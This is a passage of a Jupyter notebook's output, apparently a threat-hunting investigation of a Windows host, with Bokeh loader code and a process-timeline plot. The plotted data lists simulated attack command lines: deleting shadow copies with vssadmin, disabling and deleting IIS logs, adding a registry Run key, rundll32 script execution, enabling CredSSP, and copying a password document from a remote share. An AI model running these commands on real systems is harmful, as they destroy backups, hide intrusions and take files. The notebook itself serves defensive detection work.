s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "Alert start time = 2019-01-15 05:15:15\n" ] }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"25d9a2ee-eebd-44af-ba9f-46c9a143a6ae\":{\"roots\":{\"references\":[{\"attributes\":{},\"id\":\"8fa621ca-90c8-4d7c-b9ae-261156361111\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"457d5355-9818-4401-8046-e19b54c3c8af\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null},\"id\":\"63e088e5-b536-40bb-9e90-5c185b057dc2\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"8ab43c67-abe8-43a8-bb59-f75bb0e8a615\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"below\":[{\"id\":\"6f1cca95-98ea-4b56-b621-94378e2ba076\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"7249d0d1-c548-4d26-b906-d78ba960008f\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"6f1cca95-98ea-4b56-b621-94378e2ba076\",\"type\":\"DatetimeAxis\"},{\"id\":\"6bc68618-2389-4cc7-8d08-e6d8dac724ea\",\"type\":\"Grid\"},{\"id\":\"7249d0d1-c548-4d26-b906-d78ba960008f\",\"type\":\"LinearAxis\"},{\"id\":\"caef2e5f-a02e-4703-8fa4-264bf568a6ae\",\"type\":\"Grid\"},{\"id\":\"c27d62a6-e919-4244-a284-ce3aff7dfe23\",\"type\":\"BoxAnnotation\"},{\"id\":\"da9c81db-938e-401f-a9d8-5dcff5e7e688\",\"type\":\"GlyphRenderer\"},{\"id\":\"301e4f6b-90b2-4c83-966a-9f9f9378b0b0\",\"type\":\"GlyphRenderer\"},{\"id\":\"a35cd9f5-e64f-45b3-ad8a-2d5695f73de5\",\"type\":\"GlyphRenderer\"},{\"id\":\"18e4bf31-6f38-4622-bdc5-31764bcc169f\",\"type\":\"Label\"}],\"title\":{\"id\":\"450418c9-7a6f-420b-8144-171e2039f88b\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"f8273508-bb4f-417c-9a8e-355809d411e8\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"9123b95a-6c12-4c6b-b809-c751e1dcdaa2\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"3d6d3b26-efdd-4501-8ea6-b7afaa46fb1a\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"63e088e5-b536-40bb-9e90-5c185b057dc2\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"4c832878-943a-4057-9c84-f1612435341d\",\"type\":\"LinearScale\"}},\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"84e5a300-b9be-4b22-8170-0aa8ffdb270c\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"d556efb9-65f2-4ee1-a00c-9a54de03b241\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1f5453e4-7795-44e9-8c39-2676eba6bb1b\",\"type\":\"YearsTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"9123b95a-6c12-4c6b-b809-c751e1dcdaa2\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"3719d9ad-f8cb-4965-9064-5e981b7ffa46\",\"type\":\"Selection\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Distinct Host Processes (top) and All Proceses (bottom)\"},\"id\":\"450418c9-7a6f-420b-8144-171e2039f88b\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"cfeb2126-e188-4451-8bf1-6f830983d32d\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"9f8f42b5-2c1c-46be-80ef-822e4df113b2\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"f946cf09-1ca6-4f91-89e3-150fbcfa6d82\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"ad6a36fb-aaa3-4d30-abfe-5cedd55ddf24\",\"type\":\"DatetimeTicker\"}},\"id\":\"6f1cca95-98ea-4b56-b621-94378e2ba076\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"e1ea9eaf-fe22-47fb-ba6b-381c22450a04\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"43f18c7b-7f49-4afd-bf91-40b1b6bce8ea\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"b8325664-da9e-4565-8dd8-c3d58c254776\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3d6d3b26-efdd-4501-8ea6-b7afaa46fb1a\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"4c832878-943a-4057-9c84-f1612435341d\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"8ea1d5d5-b9c2-4ee4-b990-59ea73db8e35\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"b35749f9-e434-4d9b-8d93-10f885349139\",\"type\":\"HoverTool\"},{\"id\":\"457d5355-9818-4401-8046-e19b54c3c8af\",\"type\":\"PanTool\"},{\"id\":\"8ed2a4c3-c0fa-4b61-a033-1e4f121dc3fe\",\"type\":\"WheelZoomTool\"},{\"id\":\"e65160c3-c534-4cc0-913a-5feb042bcaa9\",\"type\":\"BoxZoomTool\"},{\"id\":\"e9e739ab-7d89-4c87-ad2b-64bb93e4976e\",\"type\":\"ResetTool\"}]},\"id\":\"f8273508-bb4f-417c-9a8e-355809d411e8\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"467640ea-0793-476c-bf27-20b9747594bd\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"0a4c7557-560a-47df-b43a-d595bdbf0578\",\"type\":\"ColumnDataSource\"}},\"id\":\"84695079-aadb-4382-9311-0e2fca138860\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1547529315000.0,1547529315000.0],\"y\":[0,3]},\"selected\":{\"id\":\"f3737c2f-bd27-40d9-aec2-4ac5615d9716\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"3118a437-0f4c-4bb8-bf11-cdcaca6d0b2c\",\"type\":\"UnionRenderers\"}},\"id\":\"b029f1ea-1023-4efd-96dd-57e98e259e41\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"c27d62a6-e919-4244-a284-ce3aff7dfe23\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"f3737c2f-bd27-40d9-aec2-4ac5615d9716\",\"type\":\"Selection\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"8ed2a4c3-c0fa-4b61-a033-1e4f121dc3fe\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"3118a437-0f4c-4bb8-bf11-cdcaca6d0b2c\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"0a4c7557-560a-47df-b43a-d595bdbf0578\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"dce15a6b-f5c3-4e70-ac35-0236f704ae48\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"0dd7bd46-3dae-4715-8219-5dadbfda9e5a\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"84695079-aadb-4382-9311-0e2fca138860\",\"type\":\"CDSView\"}},\"id\":\"da9c81db-938e-401f-a9d8-5dcff5e7e688\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden !\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\"12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\"1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\"reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat 